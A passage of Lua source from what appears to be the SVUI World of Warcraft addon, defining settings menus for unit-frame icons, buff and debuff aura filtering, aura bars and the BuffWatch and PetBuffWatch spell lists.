grouporder = grouporder + 1
end
if(iconGroup["eliteicon"]) then
k.args.eliteicon = {
order = grouporder,
type = "group",
guiInline = true,
name = L["Elite / Rare"],
get = function(key)
return SV.db.UnitFrames[unitName]["icons"]["eliteicon"][key[#key]]
end,
set = function(key, value)
MOD:ChangeDBVar(value, key[#key], unitName, "icons", "eliteicon")
updateFunction(MOD, unitName, count)
end,
args = {
enable = {type = "toggle", order = 1, name = L["Enable"]},
attachTo = {type = "select", order = 2, name = L["Position"], values = SV.PointIndexes},
spacer = { order = 3, name = "", type = "description", width = "full"},
size = {type = "range", name = L["Size"], order = 3, min = 8, max = 60, step = 1},
xOffset = {order = 4, type = "range", name = L["xOffset"], min = -300, max = 300, step = 1},
yOffset = {order = 5, type = "range", name = L["yOffset"], min = -300, max = 300, step = 1}
}
}
grouporder = grouporder + 1
end
if(iconGroup["roleIcon"]) then
k.args.roleIcon = {
order = grouporder,
type = "group",
guiInline = true,
name = L["Role"],
get = function(key)
return SV.db.UnitFrames[unitName]["icons"]["roleIcon"][key[#key]]
end,
set = function(key, value)
MOD:ChangeDBVar(value, key[#key], unitName, "icons", "roleIcon")
updateFunction(MOD, unitName, count)
end,
args = {
enable = {type = "toggle", order = 1, name = L["Enable"]},
attachTo = {type = "select", order = 2, name = L["Position"], values = SV.PointIndexes},
spacer = { order = 3, name = "", type = "description", width = "full"},
size = {type = "range", name = L["Size"], order = 3, min = 8, max = 60, step = 1},
xOffset = {order = 4, type = "range", name = L["xOffset"], min = -300, max = 300, step = 1},
yOffset = {order = 5, type = "range", name = L["yOffset"], min = -300, max = 300, step = 1}
}
}
grouporder = grouporder + 1
end
if(iconGroup["raidRoleIcons"]) then
k.args.raidRoleIcons = {
order = grouporder,
type = "group",
guiInline = true,
name = L["Leader / MasterLooter"],
get = function(key)
return SV.db.UnitFrames[unitName]["icons"]["raidRoleIcons"][key[#key]]
end,
set = function(key, value)
MOD:ChangeDBVar(value, key[#key], unitName, "icons", "raidRoleIcons")
updateFunction(MOD, unitName, count)
end,
args = {
enable = {type = "toggle", order = 1, name = L["Enable"]},
attachTo = {type = "select", order = 2, name = L["Position"], values = SV.PointIndexes},
spacer = { order = 3, name = "", type = "description", width = "full"},
size = {type = "range", name = L["Size"], order = 3, min = 8, max = 60, step = 1},
xOffset = {order = 4, type = "range", name = L["xOffset"], min = -300, max = 300, step = 1},
yOffset = {order = 5, type = "range", name = L["yOffset"], min = -300, max = 300, step = 1}
}
}
grouporder = grouporder + 1
end
return k
end
local BoolFilters = {
['player'] = true,
['pet'] = true,
['boss'] = true,
['arena'] = true,
['party'] = true,
['raid'] = true,
['raidpet'] = true,
};
local function setAuraFilteringOptions(configTable, unitName, auraType, updateFunction, isPlayer)
if BoolFilters[unitName] then
configTable.filterGroup = {
order = 20,
guiInline = true,
type = "group",
name = L["Aura filtering..."],
args = {
filterWhiteList = {
order = 1,
type = "toggle",
name = L["Only White Listed"],
desc = L["Only show auras that are on the whitelist."],
get = function(key)return SV.db.UnitFrames[unitName][auraType].filterWhiteList end,
set = function(key, value)
SV.db.UnitFrames[unitName][auraType].filterWhiteList = value;
if(value) then
SV.db.UnitFrames[unitName][auraType].filterPlayer = false;
SV.db.UnitFrames[unitName][auraType].filterDispellable = false;
SV.db.UnitFrames[unitName][auraType].filterInfinite = false;
SV.db.UnitFrames[unitName][auraType].filterRaid = false;
end
updateFunction(MOD, unitName)
end,
},
filterPlayer = {
order = 2,
type = "toggle",
name = L["From You"],
desc = L["Only show auras that were cast by you."],
get = function(key) return SV.db.UnitFrames[unitName][auraType].filterPlayer end,
set = function(key, value) SV.db.UnitFrames[unitName][auraType].filterPlayer = value; updateFunction(MOD, unitName) end,
disabled = function() return SV.db.UnitFrames[unitName][auraType].filterWhiteList end,
},
filterDispellable = {
order = 3,
type = "toggle",
name = L["You Can Remove"],
desc = L["Only show auras that can be removed by you. (example: Purge, Dispel)"],
get = function(key) return SV.db.UnitFrames[unitName][auraType].filterDispellable end,
set = function(key, value) SV.db.UnitFrames[unitName][auraType].filterDispellable = value; updateFunction(MOD, unitName) end,
disabled = function() return SV.db.UnitFrames[unitName][auraType].filterWhiteList end,
},
filterInfinite = {
order = 4,
type = "toggle",
name = L["No Duration"],
desc = L["Don't display auras that have no duration."],
get = function(key) return SV.db.UnitFrames[unitName][auraType].filterInfinite end,
set = function(key, value) SV.db.UnitFrames[unitName][auraType].filterInfinite = value; updateFunction(MOD, unitName) end,
disabled = function() return SV.db.UnitFrames[unitName][auraType].filterWhiteList end,
},
filterRaid = {
order = 5,
type = "toggle",
name = L["Consolidated Buffs"],
desc = L["Don't display consolidated buffs"],
get = function(key) return SV.db.UnitFrames[unitName][auraType].filterRaid end,
set = function(key, value) SV.db.UnitFrames[unitName][auraType].filterRaid = value; updateFunction(MOD, unitName) end,
disabled = function() return SV.db.UnitFrames[unitName][auraType].filterWhiteList end,
},
}
}
else
configTable.friendlyGroup = {
order = 20,
guiInline = true,
type = "group",
name = L["When the unit is friendly..."],
args = {
filterAll = {
order = 1,
type = "toggle",
name = L["Hide All"],
desc = L["Don't display any " .. auraType .. "."],
get = function(key) return SV.db.UnitFrames[unitName][auraType].filterAll.friendly end,
set = function(key, value)
SV.db.UnitFrames[unitName][auraType].filterAll.friendly = value;
if(value) then
SV.db.UnitFrames[unitName][auraType].filterWhiteList.friendly = false;
SV.db.UnitFrames[unitName][auraType].filterPlayer.friendly = false;
SV.db.UnitFrames[unitName][auraType].filterDispellable.friendly = false;
SV.db.UnitFrames[unitName][auraType].filterInfinite.friendly = false;
if(SV.db.UnitFrames[unitName][auraType].filterRaid) then
SV.db.UnitFrames[unitName][auraType].filterRaid.friendly = false;
end
end
updateFunction(MOD, unitName)
end,
},
filterWhiteList = {
order = 2,
type = "toggle",
name = L["Only White Listed"],
desc = L["Only show auras that are on the whitelist."],
get = function(key)return SV.db.UnitFrames[unitName][auraType].filterWhiteList.friendly end,
set = function(key, value)SV.db.UnitFrames[unitName][auraType].filterWhiteList.friendly = value; updateFunction(MOD, unitName) end,
set = function(key, value)
SV.db.UnitFrames[unitName][auraType].filterWhiteList.friendly = value;
if(value) then
SV.db.UnitFrames[unitName][auraType].filterPlayer.friendly = false;
SV.db.UnitFrames[unitName][auraType].filterDispellable.friendly = false;
SV.db.UnitFrames[unitName][auraType].filterInfinite.friendly = false;
if(SV.db.UnitFrames[unitName][auraType].filterRaid) then
SV.db.UnitFrames[unitName][auraType].filterRaid.friendly = false;
end
end
updateFunction(MOD, unitName)
end,
disabled = function()
return SV.db.UnitFrames[unitName][auraType].filterAll.friendly
end,
},
filterPlayer = {
order = 3,
type = "toggle",
name = L["From You"],
desc = L["Only show auras that were cast by you."],
get = function(key)return SV.db.UnitFrames[unitName][auraType].filterPlayer.friendly end,
set = function(key, value)SV.db.UnitFrames[unitName][auraType].filterPlayer.friendly = value; updateFunction(MOD, unitName) end,
disabled = function()
return (SV.db.UnitFrames[unitName][auraType].filterAll.friendly or SV.db.UnitFrames[unitName][auraType].filterWhiteList.friendly)
end,
},
filterDispellable = {
order = 4,
type = "toggle",
name = L["You Can Remove"],
desc = L["Only show auras that can be removed by you. (example: Purge, Dispel)"],
get = function(key)return SV.db.UnitFrames[unitName][auraType].filterDispellable.friendly end,
set = function(key, value)SV.db.UnitFrames[unitName][auraType].filterDispellable.friendly = value; updateFunction(MOD, unitName) end,
disabled = function()
return (SV.db.UnitFrames[unitName][auraType].filterAll.friendly or SV.db.UnitFrames[unitName][auraType].filterWhiteList.friendly)
end,
},
filterInfinite = {
order = 5,
type = "toggle",
name = L["No Duration"],
desc = L["Don't display auras that have no duration."],
get = function(key)return SV.db.UnitFrames[unitName][auraType].filterInfinite.friendly end,
set = function(key, value)SV.db.UnitFrames[unitName][auraType].filterInfinite.friendly = value; updateFunction(MOD, unitName) end,
disabled = function()
return (SV.db.UnitFrames[unitName][auraType].filterAll.friendly or SV.db.UnitFrames[unitName][auraType].filterWhiteList.friendly)
end,
},
},
}
configTable.enemyGroup = {
order = 21,
guiInline = true,
type = "group",
name = L["When the unit is hostile..."],
args = {
filterAll = {
order = 1,
type = "toggle",
name = L["Hide All"],
desc = L["Don't display any " .. auraType .. "."],
get = function(key)return SV.db.UnitFrames[unitName][auraType].filterAll.enemy end,
set = function(key, value)
SV.db.UnitFrames[unitName][auraType].filterAll.enemy = value;
if(value) then
SV.db.UnitFrames[unitName][auraType].filterWhiteList.enemy = false;
SV.db.UnitFrames[unitName][auraType].filterPlayer.enemy = false;
SV.db.UnitFrames[unitName][auraType].filterDispellable.enemy = false;
SV.db.UnitFrames[unitName][auraType].filterInfinite.enemy = false;
if(SV.db.UnitFrames[unitName][auraType].filterRaid) then
SV.db.UnitFrames[unitName][auraType].filterRaid.enemy = false;
end
end
updateFunction(MOD, unitName)
end,
},
filterWhiteList = {
order = 2,
type = "toggle",
name = L["Only White Listed"],
desc = L["Only show auras that are on the whitelist."],
get = function(key)return SV.db.UnitFrames[unitName][auraType].filterWhiteList.enemy end,
set = function(key, value)
SV.db.UnitFrames[unitName][auraType].filterWhiteList.enemy = value;
if(value) then
SV.db.UnitFrames[unitName][auraType].filterPlayer.enemy = false;
SV.db.UnitFrames[unitName][auraType].filterDispellable.enemy = false;
SV.db.UnitFrames[unitName][auraType].filterInfinite.enemy = false;
if(SV.db.UnitFrames[unitName][auraType].filterRaid) then
SV.db.UnitFrames[unitName][auraType].filterRaid.enemy = false;
end
end
updateFunction(MOD, unitName)
end,
disabled = function()
return SV.db.UnitFrames[unitName][auraType].filterAll.enemy
end,
},
filterPlayer = {
order = 3,
type = "toggle",
name = L["From You"],
desc = L["Only show auras that were cast by you."],
get = function(key)return SV.db.UnitFrames[unitName][auraType].filterPlayer.enemy end,
set = function(key, value)SV.db.UnitFrames[unitName][auraType].filterPlayer.enemy = value; updateFunction(MOD, unitName) end,
disabled = function()
return (SV.db.UnitFrames[unitName][auraType].filterAll.enemy or SV.db.UnitFrames[unitName][auraType].filterWhiteList.enemy)
end,
},
filterDispellable = {
order = 4,
type = "toggle",
name = L["You Can Remove"],
desc = L["Only show auras that can be removed by you. (example: Purge, Dispel)"],
get = function(key)return SV.db.UnitFrames[unitName][auraType].filterDispellable.enemy end,
set = function(key, value)SV.db.UnitFrames[unitName][auraType].filterDispellable.enemy = value; updateFunction(MOD, unitName) end,
disabled = function()
return (SV.db.UnitFrames[unitName][auraType].filterAll.enemy or SV.db.UnitFrames[unitName][auraType].filterWhiteList.enemy)
end,
},
filterInfinite = {
order = 5,
type = "toggle",
name = L["No Duration"],
desc = L["Don't display auras that have no duration."],
get = function(key)return SV.db.UnitFrames[unitName][auraType].filterInfinite.enemy end,
set = function(key, value)SV.db.UnitFrames[unitName][auraType].filterInfinite.enemy = value; updateFunction(MOD, unitName) end,
disabled = function()
return (SV.db.UnitFrames[unitName][auraType].filterAll.enemy or SV.db.UnitFrames[unitName][auraType].filterWhiteList.enemy)
end,
},
},
}
if(SV.db.UnitFrames[unitName][auraType].filterRaid) then
configTable.friendlyGroup.args.filterRaid = {
order = 6,
type = "toggle",
name = L["Consolidated Buffs"],
desc = L["Don't display consolidated buffs"],
get = function(key)return SV.db.UnitFrames[unitName][auraType].filterRaid.friendly end,
set = function(key, value)SV.db.UnitFrames[unitName][auraType].filterRaid.friendly = value; updateFunction(MOD, unitName) end,
disabled = function()
return (SV.db.UnitFrames[unitName][auraType].filterAll.friendly or SV.db.UnitFrames[unitName][auraType].filterWhiteList.friendly)
end,
};
configTable.enemyGroup.args.filterRaid = {
order = 6,
type = "toggle",
name = L["Consolidated Buffs"],
desc = L["Don't display consolidated buffs"],
get = function(key)return SV.db.UnitFrames[unitName][auraType].filterRaid.enemy end,
set = function(key, value)SV.db.UnitFrames[unitName][auraType].filterRaid.enemy = value; updateFunction(MOD, unitName) end,
disabled = function()
return (SV.db.UnitFrames[unitName][auraType].filterAll.enemy or SV.db.UnitFrames[unitName][auraType].filterWhiteList.enemy)
end,
};
end
end
end
function SVUIOptions:SetAuraConfigGroup(isPlayer, auraType, unused, updateFunction, unitName, count)
local groupOrder = auraType == "buffs" and 600 or 700
local groupName = auraType == "buffs" and L["Buffs"] or L["Debuffs"]
local attachToValue, attachToName;
if auraType == "buffs" then
attachToValue = "DEBUFFS"
attachToName = L["Debuffs"]
else
attachToValue = "BUFFS"
attachToName = L["Buffs"]
end
local configTable = {
order = groupOrder,
name = groupName,
type = "group",
get = function(key)
return SV.db.UnitFrames[unitName][auraType][key[#key]]
end,
set = function(key, value)
MOD:ChangeDBVar(value, key[#key], unitName, auraType)
updateFunction(MOD, unitName, count)
end,
args = {
enable = {
type = "toggle",
order = 2,
name = L["Enable "..groupName]
},
attachTo1 = {
type = "toggle",
order = 3,
name = L["Attach To"] .. " " .. L["Frame"],
get = function(key)
return SV.db.UnitFrames[unitName][auraType]["attachTo"] == "FRAME"
end,
set = function(key, value)
if(not value) then
MOD:ChangeDBVar(attachToValue, "attachTo", unitName, auraType)
else
MOD:ChangeDBVar("FRAME", "attachTo", unitName, auraType)
end
updateFunction(MOD, unitName, count)
end,
},
attachTo2 = {
type = "toggle",
order = 4,
name = L["Attach To"] .. " " .. attachToName,
get = function(key)
return SV.db.UnitFrames[unitName][auraType]["attachTo"] == attachToValue
end,
set = function(key, value)
if(not value) then
MOD:ChangeDBVar("FRAME", "attachTo", unitName, auraType)
else
MOD:ChangeDBVar(attachToValue, "attachTo", unitName, auraType)
end
updateFunction(MOD, unitName, count)
end,
},
spacer1 = {
order = 5,
name = "",
type = "description",
width = "full",
},
anchorPoint = {
type = "select",
order = 6,
name = L["Anchor Point"],
desc = L["What point to anchor to the frame you set to attach to."],
values = SV.PointIndexes
},
verticalGrowth = {
type = "select",
order = 7,
name = L["Vertical Growth"],
desc = L["The vertical direction that the auras will position themselves"],
values = {UP = "UP", DOWN = "DOWN"}
},
horizontalGrowth = {
type = "select",
order = 8,
name = L["Horizontal Growth"],
desc = L["The horizontal direction that the auras will position themselves"],
values = {LEFT = "LEFT", RIGHT = "RIGHT"}
},
spacer2 = {
order = 9,
name = "",
type = "description",
width = "full",
},
perrow = {
type = "range",
order = 10,
name = L["Per Row"],
min = 1,
max = 20,
step = 1
},
numrows = {
type = "range",
order = 11,
name = L["Num Rows"],
min = 1,
max = 4,
step = 1
},
sizeOverride = {
type = "range",
order = 12,
name = L["Size Override"],
desc = L["If not set to 0 then override the size of the aura icons (or height of aura bars)."],
min = 0,
max = 60,
step = 1
},
barWidthOverride = {
type = "range",
order = 13,
name = L["Bar Width Override"],
desc = L["If not set to 0 then override the width of aura bars."],
min = 0,
max = 500,
step = 1
},
spacer3 = {
order = 14,
name = "",
type = "description",
width = "full",
},
xOffset = {
order = 15,
type = "range",
name = L["xOffset"],
min = -60,
max = 60,
step = 1
},
yOffset = {
order = 16,
type = "range",
name = L["yOffset"],
min = -60,
max = 60,
step = 1
},
spacing = {
order = 17,
name = L["Aura Spacing"],
type = "range",
min = 0,
max = 20,
step = 1,
width = "fill",
},
useFilter = {
order = 18,
type = "select",
name = L["Custom Filter"],
desc = L["Select a custom filter to include."],
values = function()
filterList = {}
filterList[""] = NONE;
for n in pairs(SV.db.Filters.Custom) do
filterList[n] = n
end
return filterList
end,
get = function(key) return SV.db.UnitFrames[unitName][auraType].useFilter end,
set = function(key, value) SV.db.UnitFrames[unitName][auraType].useFilter = value; updateFunction(MOD, unitName) end,
},
spacer4 = {
order = 19,
name = "",
type = "description",
width = "full",
},
}
}
local unitGlobalName = FRAME_MAP[unitName];
if(unitGlobalName) then
configTable.args.showAuras = {
order = 0,
type = "execute",
name = L["Show Auras"],
func = function()
local unitframe = _G[unitGlobalName];
if unitframe.forceShowAuras then
unitframe.forceShowAuras = nil
else
unitframe.forceShowAuras = true
end
updateFunction(MOD, unitName, count)
end
}
configTable.args.showAurasSpacer = {
order = 1,
name = "",
type = "description",
width = "full",
}
end
setAuraFilteringOptions(configTable.args, unitName, auraType, updateFunction, isPlayer)
if(unitName == 'player' or unitName == 'target' or unitName == 'focus') then
configTable.args.barGroup = {
order = 20,
type = "group",
guiInline = true,
name = L["Bar Style "..groupName],
args = {
useBars = {
type = "toggle",
order = 1,
name = L["Enable"]
},
configureButton1 = {
order = 2,
name = L["Coloring"],
type = "execute", func = function() ACD:SelectGroup(SV.NameID, "UnitFrames", "commonGroup", "baseGroup", "allColorsGroup", "auraBars") end,
disabled = function() return not SV.db.UnitFrames[unitName][auraType].useBars end,
},
configureButton2 = {
order = 3,
name = L["Coloring (Specific)"],
type = "execute", func = function() SVUIOptions:SetToFilterConfig("AuraBars") end,
disabled = function() return not SV.db.UnitFrames[unitName][auraType].useBars end,
},
spacer = {
order = 4,
name = "",
type = "description",
width = "full",
disabled = function() return not SV.db.UnitFrames[unitName][auraType].useBars end,
},
sort = {
type = "select",
order = 5,
name = L["Sort Method"],
values = {["TIME_REMAINING"] = L["Time Remaining"], ["TIME_REMAINING_REVERSE"] = L["Time Remaining Reverse"], ["TIME_DURATION"] = L["Duration"], ["TIME_DURATION_REVERSE"] = L["Duration Reverse"], ["NAME"] = NAME, ["NONE"] = NONE},
disabled = function() return not SV.db.UnitFrames[unitName][auraType].useBars end,
},
}
}
end
return configTable
end
SV:GenerateFontOptionGroup("UnitFrame", 6, "Fonts used in unit frames.", unitFonts)
SVUIOptions.FilterOptionGroups['AuraBars'] = function(selectedSpell)
if(not SV.db.Filters.AuraBars) then SV.db.Filters.AuraBars = {} end;
local RESULT = {
type = "group",
name = 'AuraBars',
guiInline = true,
order = 10,
args = {
addSpell = {
order = 1,
name = L["Add Spell"] .. " by ID",
desc = L["Add a spell to the filter by ID (number). You can use wowhead.com to find the ID of your desired spell"],
type = "input",
guiInline = true,
get = function(key) return "" end,
set = function(key, value)
local spellID = tonumber(value);
if(not spellID) then
SV:AddonMessage(L["Value must be a number"])
elseif(not GetSpellInfo(spellID)) then
SV:AddonMessage(L["Not valid spell id"])
elseif not SV.db.Filters.AuraBars[value] then
SV.db.Filters.AuraBars[value] = false
MOD:SetUnitFrame("player")
MOD:SetUnitFrame("target")
MOD:SetUnitFrame("focus")
SVUIOptions:SetFilterOptions('AuraBars', value)
end
end
},
removeSpell = {
order = 2,
name = L["Remove Spell"],
desc = L["Remove a spell from the filter."],
type = "select",
guiInline = true,
disabled = function()
local EMPTY = true;
for g in pairs(SV.db.Filters.AuraBars) do
EMPTY = false;
end
return EMPTY
end,
values = function()
wipe(tempFilterTable)
for stringID,color in pairs(SV.db.Filters.AuraBars) do
local spellID
if(type(stringID) ~= 'number') then
spellID = tonumber(stringID)
else
spellID = stringID
stringID = tostring(stringID)
end
local auraName = GetSpellInfo(spellID)
tempFilterTable[stringID] = auraName
--print(stringID)print(auraName)print('-----')
end
return tempFilterTable
end,
get = function(key) return "" end,
set = function(key, value)
--print(value)
SV.db.Filters.AuraBars[value] = nil
MOD:SetUnitFrame("player")
MOD:SetUnitFrame("target")
MOD:SetUnitFrame("focus")
SVUIOptions:SetFilterOptions('AuraBars')
end
},
selectSpell = {
name = L["Select Spell"],
type = "select",
order = 3,
guiInline = true,
get = function(key) return selectedSpell end,
set = function(key, value)
SVUIOptions:SetFilterOptions('AuraBars', value)
end,
values = function()
wipe(tempFilterTable)
tempFilterTable[""] = NONE;
for stringID,color in pairs(SV.db.Filters.AuraBars) do
local spellID
if(type(stringID) ~= 'number') then
spellID = tonumber(stringID)
else
spellID = stringID
stringID = tostring(stringID)
end
local auraName = GetSpellInfo(spellID)
tempFilterTable[stringID] = auraName
end
return tempFilterTable
end
}
}
};
return RESULT;
end;
SVUIOptions.FilterOptionSpells['AuraBars'] = function(selectedSpell)
if(not SV.db.Filters.AuraBars) then SV.db.Filters.AuraBars = {} end;
local RESULT;
if(selectedSpell and (SV.db.Filters.AuraBars[selectedSpell] ~= nil)) then
RESULT = {
type = "group",
name = selectedSpell,
order = 15,
guiInline = true,
args = {
color = {
name = L["Color"],
type = "color",
order = 1,
get = function(key)
local abColor = SV.db.Filters.AuraBars[selectedSpell]
if type(abColor) == "boolean" then
return 0, 0, 0, 1
else
return abColor[1], abColor[2], abColor[3], abColor[4]
end
end,
set = function(key, r, g, b)
SV.db.Filters.AuraBars[selectedSpell] = {r, g, b}
MOD:SetUnitFrame("player")
MOD:SetUnitFrame("target")
MOD:SetUnitFrame("focus")
end
},
removeColor = {
type = "execute",
order = 2,
name = L["Restore Defaults"],
func = function(key, value)
SV.db.Filters.AuraBars[selectedSpell] = false;
MOD:SetUnitFrame("player")
MOD:SetUnitFrame("target")
MOD:SetUnitFrame("focus")
end
}
}
};
end
return RESULT;
end;
SVUIOptions.FilterOptionGroups['BuffWatch'] = function(selectedSpell)
local FILTER = SV.db.Filters.BuffWatch;
--CacheWatchedBuffs(SV.db.Filters.BuffWatch)
local RESULT = {
type = "group",
name = 'BuffWatch',
guiInline = true,
order = 4,
args = {
addSpellID = {
order = 1,
name = L["Add SpellID"],
desc = L["Add a spell to the filter."],
type = "input",
get = function(key)return""end,
set = function(key, value)
local spellID = tonumber(value);
if(not spellID) then
SV:AddonMessage(L["Value must be a number"])
elseif(not GetSpellInfo(spellID)) then
SV:AddonMessage(L["Not valid spell id"])
else
SetWatchedBuff(value, spellID, FILTER, true, "TOPRIGHT", DEFAULT_COLOR, false)
UpdateBuffWatch()
SVUIOptions:SetFilterOptions('BuffWatch', spellID)
end
end
},
removeSpellID = {
order = 2,
name = L["Remove SpellID"],
desc = L["Remove a spell from the filter."],
type = "input",
get = function(key)return""end,
set = function(key, value)
local spellID = tonumber(value);
if(not spellID) then
SV:AddonMessage(L["Value must be a number"])
elseif(not GetSpellInfo(spellID)) then
SV:AddonMessage(L["Not valid spell id"])
else
local temp;
for id, data in pairs(FILTER) do
if(tonumber(id) == spellID) then
temp = data;
FILTER[id] = nil
end
end
if temp == nil then
SV:AddonMessage(L["Spell not found in list."])
else
SVUIOptions:SetFilterOptions('BuffWatch')
end
end
UpdateBuffWatch("raid")
UpdateBuffWatch("party")
SVUIOptions:SetFilterOptions('BuffWatch')
end
},
selectSpell = {
name = L["Select Spell"],
type = "select",
order = 3,
values = function()
--CacheWatchedBuffs(SV.db.Filters.BuffWatch)
wipe(tempFilterTable)
for id, watchData in pairs(FILTER) do
local spellID = tonumber(id)
local name = GetSpellInfo(spellID)
if(name) then
tempFilterTable[spellID] = name
end
end
return tempFilterTable
end,
get = function(key) return selectedSpell end,
set = function(key, value) SVUIOptions:SetFilterOptions('BuffWatch', value) end
}
}
}
return RESULT;
end;
SVUIOptions.FilterOptionSpells['BuffWatch'] = function(selectedSpell)
local RESULT;
local FILTER = SV.db.Filters.BuffWatch;
if(selectedSpell) then
local registeredSpell;
for id, watchData in pairs(FILTER)do
if(tonumber(id) == selectedSpell) then
registeredSpell = id
end
end
local currentSpell = GetSpellInfo(selectedSpell)
if(currentSpell and registeredSpell) then
RESULT = {
name = currentSpell.." (Spell ID#: "..selectedSpell..")",
type = "group",
guiInline = true,
get = function(key) return FILTER[registeredSpell][key[#key]] end,
set = function(key, value)
SV.db.Filters.BuffWatch[registeredSpell][key[#key]] = value;
UpdateBuffWatch();
end,
order = 5,
args = {
enable = {
name = L["Enable"],
width = 'full',
order = 0,
type = "toggle"
},
displayText = {
name = L["Display Text"],
width = 'full',
type = "toggle",
order = 1,
},
anyUnit = {
name = L["Show Aura From Other Players"],
width = 'full',
order = 2,
type = "toggle"
},
onlyShowMissing = {
name = L["Show When Not Active"],
width = 'full',
order = 3,
type = "toggle",
disabled = function() return FILTER[registeredSpell].style == "text" end
},
point = {
name = L["Anchor Point"],
order = 4,
type = "select",
values = POSITION_SELECT
},
style = {
name = L["Style"],
order = 5,
type = "select",
values = STYLE_SELECT
},
color = {
name = L["Color"],
type = "color",
order = 6,
get = function(key)
local abColor = FILTER[registeredSpell][key[#key]]
return abColor.r, abColor.g, abColor.b, abColor.a
end,
set = function(key, r, g, b)
local abColor = FILTER[registeredSpell][key[#key]]
abColor.r, abColor.g, abColor.b = r, g, b;
UpdateBuffWatch()
end
},
textColor = {
name = L["Text Color"],
type = "color",
order = 7,
get = function(key)
local abColor = FILTER[registeredSpell][key[#key]]
if abColor then
return abColor.r, abColor.g, abColor.b, abColor.a
else
return 1, 1, 1, 1
end
end,
set = function(key, r, g, b)
FILTER[registeredSpell][key[#key]] = FILTER[registeredSpell][key[#key]] or {}
local abColor = FILTER[registeredSpell][key[#key]]
abColor.r, abColor.g, abColor.b = r, g, b;
UpdateBuffWatch()
end
},
textThreshold = {
name = L["Text Threshold"],
desc = L["At what point should the text be displayed. Set to -1 to disable."],
type = "range",
order = 8,
width = 'full',
min = -1,
max = 60,
step = 1
},
xOffset = {order = 9, type = "range", width = 'full', name = L["xOffset"], min = -75, max = 75, step = 1},
yOffset = {order = 10, type = "range", width = 'full', name = L["yOffset"], min = -75, max = 75, step = 1},
}
}
end
end
return RESULT;
end;
SVUIOptions.FilterOptionGroups['PetBuffWatch'] = function(selectedSpell)
--CacheWatchedBuffs(SV.db.Filters.PetBuffWatch)
local FILTER = SV.db.Filters.PetBuffWatch;
local RESULT = {
type = "group",
name = 'PetBuffWatch',
guiInline = true,
order = 4,
args = {
addSpellID = {
order = 1,
name = L["Add SpellID"],
desc = L["Add a spell to the filter."],
type = "input",
get = function(key) return "" end,
set = function(key, value)
local spellID = tonumber(value);
if(not spellID) then
SV:AddonMessage(L["Value must be a number"])
elseif(not GetSpellInfo(spellID)) then
SV:AddonMessage(L["Not valid spell id"])
else
SetWatchedBuff(value, spellID, FILTER, true, "TOPRIGHT", DEFAULT_COLOR, true)
UpdatePetBuffWatch()
SVUIOptions:SetFilterOptions('PetBuffWatch', spellID)
end
end
},
removeSpellID = {
order = 2,
name = L["Remove SpellID"],
desc = L["Remove a spell from the filter."],
type = "input",
get = function(key) return "" end,
set = function(key, value)
local spellID = tonumber(value);
if(not spellID) then
SV:AddonMessage(L["Value must be a number"])
elseif(not GetSpellInfo(spellID)) then
SV:AddonMessage(L["Not valid spell id"])
else
local success = false;
for id, data in pairs(FILTER) do
if(tonumber(id) == spellID) then
success = true;
data.enable = false;
end
end
if not success then
SV:AddonMessage(L["Spell not found in list."])
else
SVUIOptions:SetFilterOptions()
end
end
UpdatePetBuffWatch()
SVUIOptions:SetFilterOptions('PetBuffWatch', value)
end
},
selectSpell = {
name = L["Select Spell"],
type = "select",
order = 3,
values = function()
--CacheWatchedBuffs(FILTER)
wipe(tempFilterTable)
for id, watchData in pairs(FILTER) do
local spellID = tonumber(id)
local name = GetSpellInfo(spellID)
if(name) then
tempFilterTable[spellID] = name
end
end
return tempFilterTable
end,
get = function(key) return selectedSpell end,
set = function(key, value) SVUIOptions:SetFilterOptions('PetBuffWatch', value) end
}
}
};
return RESULT;
end;
SVUIOptions.FilterOptionSpells['PetBuffWatch'] = function(selectedSpell)
local RESULT;
local FILTER = SV.db.Filters.PetBuffWatch;
if(selectedSpell) then
local registeredSpell;
for id, watchData in pairs(FILTER)do
if(tonumber(id) == selectedSpell) then
registeredSpell = id
end
end
local currentSpell = GetSpellInfo(selectedSpell)
if(currentSpell and registeredSpell) then
RESULT = {
name = currentSpell.." ("..selectedSpell..")",
type = "group",
get = function(key)return FILTER[registeredSpell][key[#key]] end,
set = function(key, value)
FILTER[registeredSpell][key[#key]] = value;
UpdatePetBuffWatch()
end,
order = 5,
guiInline = true,
args = {
enable = {
name = L["Enable"],
order = 0,
type = "toggle"
},
point = {
name = L["Anchor Point"],
order = 1,
type = "select",
values = POSITION_SELECT
},
xOffset = {order = 2, type = "range", name = L["xOffset"], min = -75, max = 75, step = 1},
yOffset = {order = 2, type = "range", name = L["yOffset"], min = -75, max = 75, step = 1},
style = {
name = L["Style"],
order = 3,
type = "select",
values = STYLE_SELECT
},
color = {
name = L["Color"],
type = "color",
order = 4,
get = function(key)
local abColor = FILTER[registeredSpell][key[#key]]
return abColor.r, abColor.g, abColor.b, abColor.a
end,
set = function(key, r, g, b)
local abColor = FILTER[registeredSpell][key[#key]]
abColor.r, abColor.g, abColor.b = r, g, b;
UpdatePetBuffWatch()
end
},
displayText = {
name = L["Display Text"],
type = "toggle",
order = 5
},
textColor = {
name = L["Text Color"],
type = "color",
order = 6,
get = function(key)
local abColor = FILTER[registeredSpell][key[#key]]
if abColor then
return abColor.r,abColor.g,abColor.b,abColor.a
else
return 1,1,1,1
end
end,
set = function(key, r, g, b)
local abColor = FILTER[registeredSpell][key[#key]]
abColor.r,abColor.g,abColor.b = r, g, b;
UpdatePetBuffWatch()
end
},
textThreshold = {
name = L["Text Threshold"],
desc = L["At what point should the text be displayed. Set to -1 to disable."],
type = "range",
order = 6,
min = -1,
max = 60,
step = 1
},
anyUnit = {
name = L["Show Aura From Other Players"],
order = 7,
type = "toggle"
},
onlyShowMissing = {
name = L["Show When Not Active"],
order = 8,
type = "toggle",
disabled = function() return FILTER[registeredSpell].style == "text" end
}
}
}
end
end
return RESULT;
end;
SV.Options.args[Schema] = {
type = "group",
name = Schema,
childGroups = "tab",
get = function(key)
return SV.db[Schema][key[#key]]
end,
set = function(key, value)
MOD:ChangeDBVar(value, key[#key]);
MOD:RefreshUnitFrames();
end,
args = {
commonGroup = {
order = 1,
type = 'group',
name = '',
childGroups = "tree",
args = {
baseGroup = {
order = 1,
type = "group",
name = L["General"],
args = {
commonGroup = {
order = 1,
type = "group",
guiInline = true,
name = L["General"],
args = {
themed = {
order = 1,
name = L["Elite Bursts"],
desc = L["Toggle the styled starbursts around the target frame for elites and rares"],
type = "toggle"
},
disableBlizzard = {
order = 2,
name = L["Disable Blizzard"],
desc = L["Disables the blizzard party/raid frames."],
type = "toggle",
get = function(key)
return SV.db[Schema].disableBlizzard
end,
set = function(key, value)
